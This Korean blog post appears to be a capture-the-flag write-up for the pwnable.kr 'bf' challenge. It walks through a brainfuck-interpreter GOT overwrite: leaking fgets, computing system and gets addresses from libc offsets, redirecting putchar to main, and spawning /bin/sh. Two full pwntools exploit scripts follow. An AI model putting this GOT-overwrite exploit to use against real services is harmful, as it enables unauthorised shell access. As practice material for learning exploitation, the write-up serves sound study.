<-main함수
main함수에서 p는 tape을 가리키는 포인터이다.
main의
memset->get으로
fgets->system으로 바꿀 것이다.
do_brainfuck 함수
아스키코드 60: <
아스키코드 62: >
아스키코드 43: +
아스키코드 45: -
아스키코드 46: .
아스키코드 44: ,
아스키코드 91: [
을 의미한다.
payload=''
tape을 가리키는 p를 fgets를 가리키게 올려주어야 한다.
payload+='<'*(0x0804A0A0-0x0804A010)
fgets.got.plt.의 주소를 출력한다.
payload+='.>'*4
bf_libc.so에서 system함수의 주소: 3A920
fgets함수의 주소: 5D540
gets함수의 주소: 5E770
from_system_to_fgets=0x5D540-0x3A920
from_gets_to_fgets=0x5D540-0x5E770
fgets_addr=u32(s.recvn(4)[:4])
system_addr=fgets_addr-from_system_to_fgets
gets_addr=fgets_addr-from_gets_to_fgets
다시 p를 fgets쪽으로 올려준다.
payload+='<'*4
fgets에 system의 주소를 써준다.
payload+=',>'*4
s.send(p32(system_addr))
다시 p를 fgets쪽으로 올려준다.
payload+='<'*4
p를 fgets에서 memset쪽으로 내려준다.
payload+='>'*(0x804A02C-0x804A010)
memset을 gets로 바꾸어준다.
payload+=',>'*4
s.send(p32(gets_addr))
이제 memset은 gets로 바뀌고, fgets는 system으로 바뀌었다.
main이 다시 실행될 수 있도록, putchar[]을 main으로 바꾸자.
payload+=',>'*4
main 주소: 0x08048671
s.send(p32(0x08048671))
그 다음, putchar가 즉, main이 실행되도록 한다.
payload+='.'
s.sendline(payload)
//이 부분은
payload='<'*(0x0804A030-0x0804A00C)
payload=',>'*4
s.send(p32(0x08048671))
payload=','
을 해도 가능할 것 같다.
//
이제 main함수가 진행되고
gets로 /bin/sh/을 넣어주어야하므로
s.sendline('/bin/sh')
s.interactive()로 끝!
exploit.py
from pwn import *
s=remote('pwnable.kr', 9001)
s.recvline_startswith("type")
payload = '<'*(0x0804A0A0-0x0804A010)
payload += '.>'*4
payload += '<'*4
payload += ',>'*4
payload += '<'*4
payload += '>'*(0x804A02C-0x804A010)
payload += ',>'*4
payload += ',>'*4
payload += '.'
s.sendline(payload)
fgets_addr=u32(s.recvn(4)[:4])
from_system_to_fgets=0x5D540-0x3A920
from_gets_to_fgets=0x5D540-0x5E770
system_addr=fgets_addr-from_system_to_fgets
gets_addr=fgets_addr-from_gets_to_fgets
s.send(p32(system_addr))
s.send(p32(gets_addr))
s.send(p32(0x08048671))
s.sendline('/bin/sh')
s.interactive()
from pwn import *
libc = ELF("./bf_libc.so")
p = remote("pwnable.kr", 9001)
p.recvline_startswith("type")
payload = '<'*(0x0804A0A0-0x0804A010)
payload += '.>'*4
payload += '<'*4
payload += ',>'*4
payload += '<'*4
payload += '>'*(0x804A02C-0x804A010)
payload += ',>'*4
payload += ',>'*4
payload += '.'
p.sendline(payload)
addr_fgets = p.recvn(4)[::-1].encode('hex')
addr_system = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['system']
addr_gets = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['gets']
p.send(p32(addr_system))
p.send(p32(addr_gets))
p.send(p32(0x08048671))
p.sendline('/bin/sh')
p.interactive()
//다른 풀이
'시스템 해킹 > pwnable.kr' 카테고리의 다른 글
flag (0) | 2018.09.03 |
---|---|
unlink (0) | 2016.12.27 |
uaf (0) | 2016.12.24 |